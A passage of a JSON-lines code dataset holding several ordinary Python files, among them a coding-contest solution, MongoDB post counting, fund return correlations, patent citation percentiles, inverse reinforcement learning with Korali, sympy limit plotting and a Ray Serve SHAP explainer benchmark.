10$^{-24}$\npl.grid('on')\npl.savefig(\"figs/2cont_ext_over_h.png\")\n\npl.plot(h, alpha_e, label=r'$\\alpha$($e$)')\npl.plot(h, alpha_T, label=r'$\\alpha$(H$^-$)+$\\alpha$($e$)')\npl.legend()\npl.savefig(\"figs/2cont_ext_over_h_thom.png\")","repo_name":"villflakken/Ast4310-SSB","sub_path":"2cont_ext_over_h.py","file_name":"2cont_ext_over_h.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"18576236516","text":"n = input()\r\na = input()\r\narr = list(a)\r\n\r\nn = int(n)\r\n\r\ncount_A=0\r\ncount_B=0\r\ni = 0\r\n\r\nwhile i < n: \r\n if arr[i] == \"A\":\r\n if (i-1) > (-1):\r\n if arr[i-1] == \"-\":\r\n arr[i-1] = \"A\"\r\n i = i + 1\r\n else:\r\n i = i + 1\r\n \r\n elif arr[i] == \"B\":\r\n if (i+1) < n :\r\n if arr[i+1] == \"-\":\r\n arr[i+1] = \"B\"\r\n i= i + 2\r\n else:\r\n i = i + 1\r\n \r\n else:\r\n i = i + 1\r\n \r\n\r\nfor j in range(n):\r\n if arr[j] == \"A\":\r\n count_A = count_A + 1\r\n elif arr[j] == \"B\":\r\n count_B = count_B + 1\r\n\r\nif count_A > count_B:\r\n print(\"A\")\r\nelif count_A < count_B:\r\n print(\"B\")\r\nelif count_A == count_B:\r\n print(\"Coalition government\")","repo_name":"suprito/CodeVita-Season-9-2020","sub_path":"Election.py","file_name":"Election.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"32651537776","text":"from pymongo import MongoClient\nimport pymongo\nimport json\nimport csv\n\n\nclient = MongoClient(\"mongodb://Jamess-MBP.attlocal.net:27017\")\ndb = client.valence\nitems = db.discuss.find({})\nsemesterList = []\nsemesterDict = {}\n\nfor item in items:\n\n\tsemester = item['semester']\n\tif semester not in semesterList:\n\t\tsemesterList.append(semester)\n\nfor semester in semesterList:\n\n\tsemesterItems = db.discuss.find( { 'semester' : semester} )\n\tcourseList, studentList, instructorList = [], [], []\n\n\tfor s in semesterItems:\n\n\t\tpId = s['_id']\n\t\trole = s['role']\n\t\tcourse = s['courseName']\n\t\tuserId = s['postingUserId']\n\n\t\tif semester not in semesterDict:\n\t\t\tsemesterDict.update( {semester : \n\t\t\t\t{\n\n\t\t\t\t\"posts\" : 0,\n\t\t\t\t\"courses\" : 0,\n\t\t\t\t\"students\" : 0,\n\t\t\t\t\"instructors\" : 0\n\n\t\t\t\t}\n\t\t\t})\n\n\t\tsemesterDict[semester][\"posts\"] += 1\n\n\t\tif course not in courseList:\n\t\t\tsemesterDict[semester][\"courses\"] += 1\n\t\t\tcourseList.append(course)\n\n\t\tif role == \"Student\" and userId not in studentList:\n\t\t\tsemesterDict[semester][\"students\"] += 1\n\t\t\tstudentList.append(userId)\n\n\t\tif role == \"Instructor\" and userId not in instructorList:\n\t\t\tsemesterDict[semester][\"instructors\"] += 1\n\t\t\tinstructorList.append(userId)\n\nfor sem in semesterDict:\n\tprint(sem)\n\tprint(semesterDict[sem])\n","repo_name":"jcastle0/LLED7910E-Asynchronous-Online-Discourse-Project","sub_path":"Data Analysis Scripts/discussions_semester_disaggregate.py","file_name":"discussions_semester_disaggregate.py","file_ext":"py","file_size_in_byte":1249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10328664233","text":"# coding=utf-8\nimport os\nimport pandas as pd\nfrom WindPy import w\nimport datetime\nfrom shutil import copyfile\n\nw.start()\nw.isconnected()\n\nt_weeks=w.tdays(\"2015-01-01\", datetime.date.today(),\"Period=W\")\nt_weeks = [datetime.date(t.year,t.month,t.day) for t in t_weeks.Data[0]]\nt_weeks = [str(t) for t in t_weeks]\n\ndate = datetime.date(2019,3,22)\nfile = 'data/'+'520768 博普绝对价值1号A.csv'\n\nif 'xlsx' in file or 'xls' in file:\n df = pd.read_excel(file, index_col=0)\nelse:\n df = pd.read_csv(file, index_col=0)\ndf.index = [str(s).split(' ')[0] for s in df.index]\n\nfor t in df.index:\n if t not in t_weeks:\n df.drop(t, axis=0, inplace=True)\ndf.drop(df.columns[1:],axis=1, inplace=True)\n\np_data = r'D:\\TF\\基金净值汇总'\nfiles = os.listdir(p_data)\n\ndef str2date(l):\n l=l.to_numpy()\n if '-' in l[0]:\n for i in range(len(l)):\n y = int(l[i].split('-')[0])\n m = int(l[i].split('-')[1])\n d = int(l[i].split('-')[2])\n date = datetime.date(y,m,d)\n l[i] = date\n elif '/' in l[0]:\n for i in range(len(l)):\n y = int(l[i].split('/')[0])\n m = int(l[i].split('/')[1])\n d = int(l[i].split('/')[2])\n date = datetime.date(y,m,d)\n l[i] = date\n\nstr2date(df.index)\n\ndef cal_corr(df,df2,date):\n df_ = df.join(df2,how='left')\n df_ = df_[df_.index >= max(df.index[0],df2.index[0])]\n# df_ = df_[df_.index >= date]\n x = df_.isnull().sum().sum()\n if x >= 10:\n return 0\n df_.dropna(inplace=True)\n df_['1']=df_.iloc[:,0].pct_change()\n df_['2'] = df_.iloc[:, 1].pct_change()\n df_.dropna(inplace=True)\n return df_.iloc[:,2:].corr().iloc[0][1]\n\ncorr_df = pd.DataFrame(columns=['corr'])\n\nfor i in range(len(files)):\n df2 = pd.read_csv(os.path.join(p_data, files[i]), index_col=0)\n str2date(df2.index)\n df2['begin_date'] = ''\n if df.columns[0] != df2.columns[0]:\n corr = cal_corr(df,df2,date)\n corr_df.loc[files[i], 'corr'] = corr\n corr_df.loc[files[i],'begin_date'] = df2.index[0]\n\ncorr_df.dropna(inplace=True)\n\nf_id = 't_fund_info.xlsx'\ndf_id = pd.read_excel(f_id)\ncorr_df['fund_id'] = [s.split(' ')[0] for s in corr_df.index]\ncorr_df['name'] = [s.split(' ')[1] for s in corr_df.index]\ndf_id['fund_id'] = [str(i) for i in df_id['fund_id']]\ncorr_df=pd.merge(corr_df, df_id, how='left', on='fund_id')\n\nf_type = '产品业绩跟踪 20210325【私募+公募】.xlsx'\ndf_type = pd.read_excel(f_type, sheet_name='私募')\ncorr_df=pd.merge(corr_df, df_type, how='left', left_on='fund_name', right_on='跟踪产品')\n\ncorr_df.sort_values(by='corr',inplace=True,ascending=False)\ncorr_df = corr_df.loc[:,['corr','name', 'fund_name', '私募名称','fund_id', '策略类型','交易品种', '交易频率','策略细分','策略备注','fund_type_strategy','begin_date',\n '年化收益', '最大回撤', '夏普比率']]\nprint(corr_df.head(30))\n\ntype='管理期货复合'\nl = corr_df[corr_df['策略细分']==type]\ndef fun1(type=type):\n l = corr_df[corr_df['策略细分']==type]\n for i in range(min(10,len(l))):\n name = l.loc[l.index[i], 'fund_id']+' '+l.loc[l.index[i], 'name']\n copyfile(os.path.join(p_data, name),\n r'data2/'+name)\n\ndef delete():\n files = os.listdir('data2')\n for f in files:\n os.remove('data2/'+f)\n\ncorr_df.drop('name', axis=1).to_csv('corr.csv', encoding='gbk')\n","repo_name":"xuzj123456/pythonfiles","sub_path":"TF/corr/corr.py","file_name":"corr.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"6431010186","text":"from importlib import resources\n\nimport polars as pl\n\nfrom patent_innovation_variables import citations\n\nCITATIONS_COUNT_PATH = resources.files(\"patent_innovation_variables.data.citations\")\nRESOURCE_PATH = resources.files(\"patent_innovation_variables.data.citations_dummy\")\n\n\ndef get_subclass_lf(path=f\"{RESOURCE_PATH}/ipcr.tsv\") -> pl.LazyFrame:\n return (\n pl.scan_csv(\n file=path,\n sep=\"\\t\",\n dtypes={\n \"patent_id\": pl.Utf8,\n \"section\": pl.Utf8,\n \"ipc_class\": pl.Utf8,\n \"subclass\": pl.Utf8\n }\n )\n .select(\n [\"uuid\", \"patent_id\", \"section\", \"ipc_class\", \"subclass\"]\n )\n .unique(subset=[\"patent_id\", \"section\", \"ipc_class\", \"subclass\"])\n )\n\n\ndef get_citations_count_lf(path=f\"{CITATIONS_COUNT_PATH}/output_universe.tsv\") -> pl.LazyFrame:\n return (\n pl.scan_csv(\n path,\n sep=\"\\t\",\n dtypes={\n \"cited_patent\": pl.Utf8,\n \"cited_patent_issue_date\": pl.Date,\n \"citations_3_years\": pl.UInt32,\n \"citations_5_years\": pl.UInt32,\n }\n )\n .with_column(\n pl.col(\"cited_patent_issue_date\")\n .dt.year()\n .alias(\"cited_patent_issue_year\")\n )\n )\n\n\ndef cohort_percentile(column_name: str) -> pl.Expr:\n groups = [\n \"cited_patent_issue_year\",\n \"section\",\n \"ipc_class\",\n \"subclass\"\n ]\n\n ranks = (\n pl.col(column_name)\n .rank(method=\"min\")\n .over(groups)\n )\n\n return (\n (ranks / pl.col(column_name).count().over(groups))\n .alias(f\"{column_name}_percentile\")\n )\n\n\ndef percentile_dummy(column: pl.Expr, percentile: float) -> pl.Expr:\n return (\n (column > percentile)\n .cast(pl.UInt8)\n .suffix(f\"_{int(percentile * 100)}\")\n )\n\n\ndef get_output_lf(\n citations_count_path=f\"{CITATIONS_COUNT_PATH}/output_universe.tsv\",\n sample_path=f\"{CITATIONS_COUNT_PATH}/sample.csv\",\n subclass_path=f\"{RESOURCE_PATH}/ipcr.tsv\",\n) -> pl.LazyFrame:\n lf = (\n get_citations_count_lf(path=citations_count_path)\n .join(get_subclass_lf(path=subclass_path), left_on=\"cited_patent\", right_on=\"patent_id\")\n )\n return (\n lf.with_column(\n cohort_percentile(\"citations_3_years\")\n )\n .join(\n lf.filter(pl.col(\"citations_5_years\").is_not_null())\n .select(\n [\n pl.col(\"uuid\"),\n cohort_percentile(\"citations_5_years\")\n ]\n ),\n on=\"uuid\",\n how=\"outer\"\n )\n\n .groupby(\"cited_patent\")\n .agg(\n [\n percentile_dummy(pl.col(\"citations_3_years_percentile\").max(), 0.95),\n percentile_dummy(pl.col(\"citations_5_years_percentile\").max(), 0.95),\n percentile_dummy(pl.col(\"citations_3_years_percentile\").max(), 0.99),\n percentile_dummy(pl.col(\"citations_5_years_percentile\").max(), 0.99),\n ]\n )\n .filter(\n citations.in_sample(sample_path)\n )\n )\n\n\ndef main():\n df = get_output_lf().collect()\n df.write_csv(file=f\"{RESOURCE_PATH}/output.tsv\", sep=\"\\t\")\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"seasonedfish/patent-innovation-variables","sub_path":"patent_innovation_variables/citations_dummy.py","file_name":"citations_dummy.py","file_ext":"py","file_size_in_byte":3394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23072813619","text":"#!/bin/python3\nimport logi_led as logi_led\nimport time, sys, signal\n\nfrom colour import Color\nimport ctypes\n\n#Define Colors\nred = Color(\"red\")\ngreen = Color(\"green\")\ngrad = list(green.range_to(red,101))\n\n#Catch CTRL+C / SIGINT\ndef signal_handler(sig,frame):\n print(\"EXIT\")\n logi_led.logi_led_shutdown()\n sys.exit(0)\nsignal.signal(signal.SIGINT, signal_handler)\n\n#Scale from 0.0/1.0 to 0/100\ndef led_color(r,g,b):\n logi_led.logi_led_set_lighting(int(r*100),int(g*100),int(b*100))\n\ndef start_up_led():\n led_color(1,0,0)\n time.sleep(.25)\n led_color(0,1,0)\n time.sleep(.25)\n led_color(0.3,0.3,0.3)\n time.sleep(.25)\n #led_color(.5,.5,.5)\n print(\"Init done\")\n\nlogi_led.logi_led_init()\nprint(logi_led.led_dll)\ntime.sleep(1)\nstart_up_led()\nprint(\"Running CPU Monitor LED\")\n\n\nd = {\"Q\" : 0x10,\n\"W\" : 0x11,\n\"E\" : 0x12,\n\"R\" : 0x13,\n\"T\" : 0x14,\n\"Y\" : 0x15,\n\"U\" : 0x16,\n\"I\" : 0x17,\n\"O\" : 0x18,\n\"P\" : 0x19,\n\"A\" : 0x1e,\n\"S\" : 0x1f,\n\"D\" : 0x20,\n\"F\" : 0x21,\n\"G\" : 0x22,\n\"H\" : 0x23,\n\"J\" : 0x24,\n\"K\" : 0x25,\n\"L\" : 0x26,\n\"Z\" : 0x2c,\n\"X\" : 0x2d,\n\"C\" : 0x2e,\n\"V\" : 0x2f,\n\"B\" : 0x30,\n\"N\" : 0x31,\n\"M\" : 0x32,}\ntry:\n while True:\n #update color to current CPU percenage\n\n inn = sys.stdin.read(1)\n sys.stdin.flush()\n inn=inn.upper()\n\n #key=chr(a).upper()\n\n\n \n #led_color(col.red,col.green,col.blue)\n print(logi_led.logi_led_set_lighting_for_key_with_key_name(d[str(inn)],int(0),int(200),int(210)))\n\n \n #print(logi_led.logi_led_pulse_single_key(int(logi_led.A),int(0),int(0),int(0),int(1000),True,int(100),int(200),int(210)))\n \nexcept Exception as e:\n print(f\"ERROR: {e}\")\n logi_led.logi_led_shutdown()","repo_name":"TheLukaDragar/logiPiano","sub_path":"testingg.py","file_name":"testingg.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"41292597968","text":"from ContinuousGridworld import *\nfrom GridWorldEnv import *\nimport helpersContinuous\n\nfrom scipy.optimize import linprog\nimport numpy as np\nimport argparse\nimport json\nimport korali\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--iteration', type=int, default=1, help='number irl iterations')\n parser.add_argument('--discount', type=float, default=0.90, help='discount factor')\n parser.add_argument('--noise', type=float, default=0.1, help='action noise')\n parser.add_argument('--epsilon', type=float, default=0.01, help='accuracy of value iteration')\n parser.add_argument('--discretization', type=int, default=5, help='action noise')\n parser.add_argument('--numobs', type=int, default=1, help='number observed expert trajectories')\n parser.add_argument('--seed', type=int, default=1337, help='random seed')\n parser.add_argument('--noisy', action='store_true', help='print output from value iteration')\n\n ## Parse arguments\n \n args = parser.parse_args()\n\n N = args.discretization\n p = args.noise\n gamma = args.discount\n maxiterations = args.iteration\n numobs = args.numobs\n epsilon = args.epsilon\n noisy = args.noisy\n obsfile = 'observations.json'\n\n ## Initialization\n\n np.random.seed(args.seed)\n\n # create reward quadrant\n\n rewards = np.array([[0.8, 0.8], [1.0, 1.0]])\n \n # find optimal policy\n\n world = ContinuousGridworld(length=1.0, stepsize=0.2, discretization=N, noise=p, discount=gamma, rewards=rewards)\n valueMatrix, policyMatrix = helpersContinuous.doDiscretizedValueIteration(world, epsilon, 1e4, noisy=noisy)\n \n print(valueMatrix)\n print(policyMatrix)\n\n allStates = []\n allActions = []\n allFeatures = []\n states, actions = helpersContinuous.doRollout(world, policyMatrix, 30)\n\n allStates.append(states[:-1])\n allActions.append(actions)\n\n #print(states)\n #print(actions)\n\n sumGaussianWeights = helpersContinuous.calculateGaussianWeights(world, states)\n features = [ helpersContinuous.getGaussianWeightFeatures(world, state) for state in states ]\n allFeatures.append(features[:-1])\n #print(gaussianWeights)\n \n for i in range(numobs-1):\n states, actions = helpersContinuous.doRollout(world, policyMatrix, 30)\n sumGaussianWeights += helpersContinuous.calculateGaussianWeights(world, states)\n features = [ helpersContinuous.getGaussianWeightFeatures(world, state) for state in states ]\n \n allStates.append(states[:-1])\n allActions.append(actions)\n allFeatures.append(features[:-1])\n\n helpersContinuous.exportObservations(allStates, allActions, allFeatures)\n\n ####### Reading obervations\n \n with open(obsfile, 'r') as infile:\n obsjson = json.load(infile)\n \n obsstates = obsjson[\"States\"]\n obsactions = obsjson[\"Actions\"]\n obsfeatures = obsjson[\"Features\"]\n\n\n ####### Defining Korali Problem\n\n k = korali.Engine()\n e = korali.Experiment()\n \n ### Fixing the environment\n\n env = lambda s : worldEnv(s, N)\n\n ### Defining the Cartpole problem's configuration\n\n e[\"Problem\"][\"Type\"] = \"Reinforcement Learning / Discrete\"\n e[\"Problem\"][\"Possible Actions\"] = [ [ 0.0 ], [ 1.0 ], [ 2.0 ], [ 3.0 ] ]\n e[\"Problem\"][\"Environment Function\"] = env\n e[\"Problem\"][\"Training Reward Threshold\"] = 600\n e[\"Problem\"][\"Policy Testing Episodes\"] = 1\n e[\"Problem\"][\"Actions Between Policy Updates\"] = 1\n\n e[\"Problem\"][\"Observations\"][\"States\"] = obsstates\n e[\"Problem\"][\"Observations\"][\"Actions\"] = obsactions\n e[\"Problem\"][\"Observations\"][\"Features\"] = obsfeatures\n\n e[\"Variables\"][0][\"Name\"] = \"Position X\"\n e[\"Variables\"][0][\"Type\"] = \"State\"\n\n e[\"Variables\"][1][\"Name\"] = \"Position Y\"\n e[\"Variables\"][1][\"Type\"] = \"State\"\n\n e[\"Variables\"][2][\"Name\"] = \"Force\"\n e[\"Variables\"][2][\"Type\"] = \"Action\"\n\n ### Defining Agent Configuration \n\n e[\"Solver\"][\"Type\"] = \"Agent / Discrete / DVRACER\"\n e[\"Solver\"][\"Mode\"] = \"Training\"\n e[\"Solver\"][\"Experiences Between Policy Updates\"] = 1\n e[\"Solver\"][\"Episodes Per Generation\"] = 1\n\n ### Defining the configuration of replay memory\n\n e[\"Solver\"][\"Experience Replay\"][\"Start Size\"] = 1024\n e[\"Solver\"][\"Experience Replay\"][\"Maximum Size\"] = 16384\n\n ## Defining Neural Network Configuration for Policy and Critic into Critic Container\n\n e[\"Solver\"][\"Discount Factor\"] = 0.9\n e[\"Solver\"][\"Learning Rate\"] = 1e-4\n e[\"Solver\"][\"Mini Batch\"][\"Size\"] = 32\n e[\"Solver\"][\"Reward\"][\"Rescaling\"][\"Enabled\"] = False\n e[\"Solver\"][\"State Rescaling\"][\"Enabled\"] = False\n\n ### IRL related configuration\n\n e[\"Solver\"][\"Experiences Between Reward Updates\"] = 1\n e[\"Solver\"][\"Rewardfunction Learning Rate\"] = 1e-5\n e[\"Solver\"][\"Demonstration Batch Size\"] = 10\n e[\"Solver\"][\"Background Batch Size\"] = 20\n e[\"Solver\"][\"Use Fusion Distribution\"] = True\n e[\"Solver\"][\"Experiences Between Partition Function Statistics\"] = 1e5\n\n ### Configuring the neural network and its hidden layers\n\n e[\"Solver\"][\"Neural Network\"][\"Engine\"] = \"OneDNN\"\n e[\"Solver\"][\"Neural Network\"][\"Optimizer\"] = \"Adam\"\n\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][0][\"Type\"] = \"Layer/Linear\"\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][0][\"Output Channels\"] = 32\n\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][1][\"Type\"] = \"Layer/Activation\"\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][1][\"Function\"] = \"Elementwise/Tanh\"\n\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][2][\"Type\"] = \"Layer/Linear\"\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][2][\"Output Channels\"] = 32\n\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][3][\"Type\"] = \"Layer/Activation\"\n e[\"Solver\"][\"Neural Network\"][\"Hidden Layers\"][3][\"Function\"] = \"Elementwise/Tanh\"\n\n ### Defining Termination Criteria\n\n e[\"Solver\"][\"Termination Criteria\"][\"Max Experiences\"] = 1e6\n\n ### Setting file output configuration\n\n e[\"File Output\"][\"Enabled\"] = True\n e[\"File Output\"][\"Frequency\"] = 10000\n e[\"File Output\"][\"Path\"] = '_korali_results_discrete_15'\n\n ### Running Experiment\n\n k.run(e)\n","repo_name":"wadaniel/lpirl","sub_path":"python/irlContinuous.py","file_name":"irlContinuous.py","file_ext":"py","file_size_in_byte":6175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"35064642630","text":"# Code Cell 1: Importing Libraries\r\nimport sympy as sp\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef is_valid_function(func, sym, pt):\r\n try:\r\n func_at_pt = func.subs(sym, pt)\r\n return sp.simplify(func_at_pt).is_real\r\n except (sp.PoleError, sp.ComplexInfinity):\r\n return False\r\n\r\ndef is_function_defined_at_point(func, sym, pt):\r\n try:\r\n limit = sp.limit(func, sym, pt)\r\n return limit.is_real\r\n except (sp.PoleError, sp.ComplexInfinity):\r\n return False\r\n\r\n# Code Cell 3: User Input\r\ntry:\r\n # Input: Function String and Point\r\n function_str = input(\"Enter a function: \")\r\n\r\n # Check if the input function is valid\r\n if not function_str:\r\n raise ValueError(\"Error: Function string cannot be empty\")\r\n\r\n point_str = input(\"Enter a point: \")\r\n\r\n # Check if the input point is valid\r\n if not point_str:\r\n raise ValueError(\"Error: Point cannot be empty\")\r\n \r\n try:\r\n point = float(point_str)\r\n except ValueError:\r\n raise ValueError(\"Error: Invalid point input. Please enter a valid numeric value.\")\r\n\r\n # Code Cell 4: Parsing the Function String\r\n # Step 1: Parsing the Function String and Creating a Function\r\n x = sp.symbols('x')\r\n parsed_function = sp.sympify(function_str)\r\n\r\n # Code Cell 5: Checking Function Validity at the Point\r\n # Check if the function is defined at the point\r\n if is_valid_function(parsed_function, x, point):\r\n # Code Cell 6: Creating a Table of Values\r\n # Task 1: Create a Table of Values Around the Point\r\n x_values = np.linspace(point - 2, point + 2, 100) # Adjust the range as needed\r\n y_values = [parsed_function.subs(x, val) for val in x_values]\r\n \r\n # Display the table of values\r\n table = list(zip(x_values, y_values))\r\n print(\"Table of Values:\")\r\n for x_val, y_val in table:\r\n print(f'x = {x_val:.2f}, y = {y_val:.2f}')\r\n \r\n # Code Cell 7: Plotting the Graph\r\n # Task 2: Plot the Graph of the Function Around the Point\r\n plt.figure(figsize=(8, 6))\r\n plt.plot(x_values, y_values, label=f'{function_str}')\r\n plt.scatter([point], [parsed_function.subs(x, point)], color='red', label=f'Point ({point}, {parsed_function.subs(x, point)})', marker='o')\r\n plt.axhline(0, color='black', linewidth=0.5, linestyle='--')\r\n plt.axvline(0, color='black', linewidth=0.5, linestyle='--')\r\n plt.xlabel('x')\r\n plt.ylabel('y')\r\n plt.title('Graph of the Function')\r\n plt.legend()\r\n plt.grid(True)\r\n plt.show()\r\n \r\n # Code Cell 8: Finding Limits\r\n # Task 3: Find the Limit from the Left and Right\r\n limit_left = sp.limit(parsed_function, x, point, dir='-')\r\n limit_right = sp.limit(parsed_function, x, point, dir='+')\r\n \r\n print(f'Limit from the left at x={point}: {limit_left}')\r\n print(f'Limit from the right at x={point}: {limit_right}')\r\n \r\n else:\r\n if 'ln' in function_str and point <= 0:\r\n print(\"Error: Natural logarithm (ln(x)) is only defined for x > 0.\")\r\n elif 'sqrt' in function_str and point < 0:\r\n print(\"Error: Square root (sqrt(x)) is not defined for negative x values.\")\r\n elif '1/' in function_str and point == 0:\r\n print(\"Error: Reciprocal function (1/x) is not defined at x = 0.\")\r\n elif 'tan' in function_str and (point % (sp.pi/2)) == 0:\r\n print(\"Error: Tangent function (tan(x)) has vertical asymptotes at odd multiples of π/2.\")\r\n elif 'csc' in function_str and (point % sp.pi) == 0:\r\n print(\"Error: Cosecant function (csc(x)) has vertical asymptotes at multiples of π.\")\r\n elif 'sec' in function_str and (point % (sp.pi/2)) == 0:\r\n print(\"Error: Secant function (sec(x)) has vertical asymptotes at odd multiples of π/2.\")\r\n elif 'cot' in function_str and (point % sp.pi) == 0:\r\n print(\"Error: Cotangent function (cot(x)) has vertical asymptotes at multiples of π.\")\r\n else:\r\n print(\"Error: The function is not defined at the given point.\")\r\n \r\nexcept (sp.SympifyError, ValueError) as e:\r\n print(f\"Error: {e}\")\r\nexcept ZeroDivisionError:\r\n print(\"Error: Division by zero when calculating the limit.\")\r\nexcept KeyboardInterrupt:\r\n print(\"Operation interrupted by the user.\")\r\nexcept (OverflowError, MemoryError):\r\n print(\"Error: Overflow or memory error occurred. The calculation is too complex.\")\r\nexcept SyntaxError:\r\n print(\"Error: Invalid function syntax. Please enter a valid mathematical expression.\")\r\nexcept FileNotFoundError:\r\n print(\"Error: The specified file was not found.\")\r\nexcept IOError:\r\n print(\"Error: Input/output error.\")\r\nexcept AssertionError as e:\r\n print(f\"Assertion failed: {e}\")\r\nexcept IndexError:\r\n print(\"Error: Index out of range.\")\r\nexcept KeyError:\r\n print(\"Error: Key not found in dictionary.\")\r\nexcept AttributeError:\r\n print(\"Error: Attribute not found.\")\r\nexcept Exception as e:\r\n print(f\"An unexpected error occurred: {e}\")\r\n","repo_name":"manuchehrqoriev798/Homeworks","sub_path":"independent-work-#1.py","file_name":"independent-work-#1.py","file_ext":"py","file_size_in_byte":5152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"23802911987","text":"import argparse\nimport logging\nimport os\nimport ray\nimport pickle\nimport requests\nimport numpy as np\n\nimport explainers.wrappers as wrappers\n\nfrom collections import namedtuple\nfrom ray import serve\nfrom timeit import default_timer as timer\nfrom typing import Any, Dict, List, Tuple\nfrom explainers.utils import get_filename, batch, load_data, load_model\n\n\nlogging.basicConfig(level=logging.INFO)\n\nPREDICTOR_URL = 'https://storage.googleapis.com/seldon-models/alibi/distributed_kernel_shap/predictor.pkl'\nPREDICTOR_PATH = 'assets/predictor.pkl'\n\"\"\"\nstr: The file containing the predictor. The predictor can be created by running `fit_adult_model.py` or output by \ncalling `explainers.utils.load_model()`, which will download a default predictor if `assets/` does not contain one. \n\"\"\"\n\n\ndef endpont_setup(tag: str, backend_tag: str, route: str = \"/\"):\n \"\"\"\n Creates an endpoint for serving explanations.\n\n Parameters\n ----------\n tag\n Endpoint tag.\n backend_tag\n A tag for the backend this explainer will connect to.\n route\n The URL where the explainer can be queried.\n \"\"\"\n serve.create_endpoint(tag, backend=backend_tag, route=route, methods=[\"GET\"])\n\n\ndef backend_setup(tag: str, worker_args: Tuple, replicas: int, max_batch_size: int) -> None:\n \"\"\"\n Setups the backend for the distributed explanation task.\n\n Parameters\n ----------\n tag\n A tag for the backend component. The same tag must be passed to `endpoint_setup`.\n worker_args\n A tuple containing the arguments for initialising the explainer and fitting it.\n replicas\n The number of backend replicas that serve explanations.\n max_batch_size\n Maximum number of requests to batch and send to a worker process.\n \"\"\"\n\n if max_batch_size == 1:\n config = {'num_replicas': max(replicas, 1)}\n serve.create_backend(tag, wrappers.KernelShapModel, *worker_args)\n else:\n config = {'num_replicas': max(replicas, 1), 'max_batch_size': max_batch_size}\n serve.create_backend(tag, wrappers.BatchKernelShapModel, *worker_args)\n serve.update_backend_config(tag, config)\n\n logging.info(f\"Backends: {serve.list_backends()}\")\n\n\ndef prepare_explainer_args(data: Dict[str, Any]) -> Tuple[str, np.ndarray, dict, dict]:\n \"\"\"\n Extracts the name of the features (group_names) and the columns corresponding to each feature in the faeture matrix\n (group_names) from the `data` dict and defines the explainer arguments. The background data necessary to initialise\n the explainer is also extracted from the same dictionary.\n\n Parameters\n ----------\n data\n A dictionary that contains all information necessary to initialise the explainer.\n\n Returns\n -------\n A tuple containing the positional and keyword arguments necessary for initialising the explainers.\n \"\"\"\n\n groups = data['all']['groups']\n group_names = data['all']['group_names']\n background_data = data['background']['X']['preprocessed']\n assert background_data.shape[0] == 100\n init_kwargs = {'link': 'logit', 'feature_names': group_names, 'seed': 0}\n fit_kwargs = {'groups': groups, 'group_names': group_names}\n predictor = load_model(PREDICTOR_URL)\n worker_args = (predictor, background_data, init_kwargs, fit_kwargs)\n\n return worker_args\n\n\n@ray.remote\ndef distribute_request(instance: np.ndarray, url: str = \"http://localhost:8000/explain\") -> str:\n \"\"\"\n Task for distributing the explanations across the backend.\n\n Parameters\n ----------\n instance\n Instance to be explained.\n url:\n The explainer URL.\n\n Returns\n -------\n A str representation of the explanation output json file.\n \"\"\"\n\n resp = requests.get(url, json={\"array\": instance.tolist()})\n return resp.json()\n\n\ndef request_explanations(instances: List[np.ndarray], *, url: str) -> namedtuple:\n \"\"\"\n Sends the instances to the explainer URL.\n\n Parameters\n ----------\n instances:\n Array of instances to be explained.\n url\n Explainer endpoint.\n\n\n Returns\n -------\n responses\n A named tuple with a `responses` field and a `t_elapsed` field.\n \"\"\"\n\n run_output = namedtuple('run_output', 'responses t_elapsed')\n tstart = timer()\n responses_id = [distribute_request.remote(instance, url=url) for instance in instances]\n responses = [ray.get(resp_id) for resp_id in responses_id]\n t_elapsed = timer() - tstart\n logging.info(f\"Time elapsed: {t_elapsed}...\")\n\n return run_output(responses=responses, t_elapsed=t_elapsed)\n\n\ndef run_explainer(X_explain: np.ndarray,\n n_runs: int,\n replicas: int,\n max_batch_size: int,\n batch_mode: str = 'ray',\n url: str = \"http://localhost:8000/explain\"):\n \"\"\"\n Setup an endpoint and a backend and send requests to the endpoint.\n\n Parameters\n -----------\n X_explain\n Instances to be explained. Each row is an instance that is explained independently of others.\n n_runs\n Number of times to run an experiment where the entire set of explanations is sent to the explainer endpoint.\n Used to determine the average runtime given the number of cores.\n replicas\n How many backend replicas should be used for distributing the workload\n max_batch_size\n The maximum batch size the explainer accepts.\n batch_mode : {'ray', 'default'}\n If 'ray', ray_serve components are leveraged for minibatches. Otherwise the input tensor is split into\n minibatches which are sent to the endpoint.\n url\n The url of the explainer endpoint.\n \"\"\"\n\n result = {'t_elapsed': []}\n # extract instances to be explained from the dataset\n assert X_explain.shape[0] == 2560\n\n # split input into separate requests\n if batch_mode == 'ray':\n instances = np.split(X_explain, X_explain.shape[0]) # use ray serve to batch the requests\n logging.info(f\"Explaining {len(instances)} instances...\")\n else:\n instances = batch(X_explain, batch_size=max_batch_size)\n logging.info(f\"Explaining {len(instances)} mini-batches of size {max_batch_size}...\")\n\n # distribute it\n for run in range(n_runs):\n logging.info(f\"Experiment run: {run}...\")\n results = request_explanations(instances, url=url)\n result['t_elapsed'].append(results.t_elapsed)\n\n with open(get_filename(replicas, 